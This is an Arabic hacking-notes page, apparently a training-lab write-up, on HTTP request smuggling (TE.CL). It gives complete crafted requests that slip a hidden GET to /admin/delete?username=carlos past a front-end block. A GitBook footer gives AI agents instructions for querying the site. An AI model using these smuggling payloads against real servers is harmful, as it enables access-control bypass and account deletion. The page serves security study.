> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# تجاوز أمان الواجهة الأمامية عبر TE.CL

### استغلال تهريب طلبات HTTP لتجاوز ضوابط الأمان في الواجهة الأمامية، ثغرة TE.CL

يعتمد النظام على خادم للواجهة الأمامية وخادم للواجهة الخلفية. / الواجهة الخلفية **لا يتعامل مع ترميز الكتل**، بينما الواجهة الأمامية **تقيّد الوصول إلى /admin**./ الهدف هو **إخفاء طلب إلى /admin** من أجل حذف المستخدم carlos.

على الرغم من أن التطبيق يدعم HTTP/2، فإن الاستغلال يعتمد على تقنيات خاصة بـ HTTP/1.

<figure><img src="/files/86b3524bdd9151407322b69245a6ac2b87d2a482" alt=""><figcaption></figcaption></figure>

#### **الملاحظة الأولية**

الواجهة الأمامية تفسّر بشكل صحيح `Transfer-Encoding: chunked`. / أولاً نرسل طلبًا بسيطًا:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **بناء الطلب المُهرَّب**

ملف **طلب كامل جديد** يُحقن في جسم الكتل.

#### **النموذج التحضيري**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: الحجم
Transfer-Encoding: chunked

الحجم
GET /admin HTTP/1.1
Host: localhost
Content-Length: الحجم

test=testing
0


```

#### **تعديل الحجم**

الحد الأدنى `Content-Length` على جانب الواجهة الأمامية ثابت، متبوعًا بكتلة تحتوي على الطلب المُهرَّب:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

يفسّر الخادم الطلب المُدرج بشكل صحيح.

<figure><img src="/files/58cb0ed28061efd6d6040b124892161c8e985c37" alt=""><figcaption></figcaption></figure>

#### **إدراج الطلب النهائي لحذف Carlos**

يتم استبدال الطلب الهدف بطلب حذف مستخدم:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

ثم تتم معالجة هذا الطلب المُهرَّب مباشرةً بواسطة الواجهة الخلفية، متجاوزًا تمامًا تصفية الواجهة الأمامية.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="/files/e8771f59d2471d2af59dfb453d5727021bd7e765" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
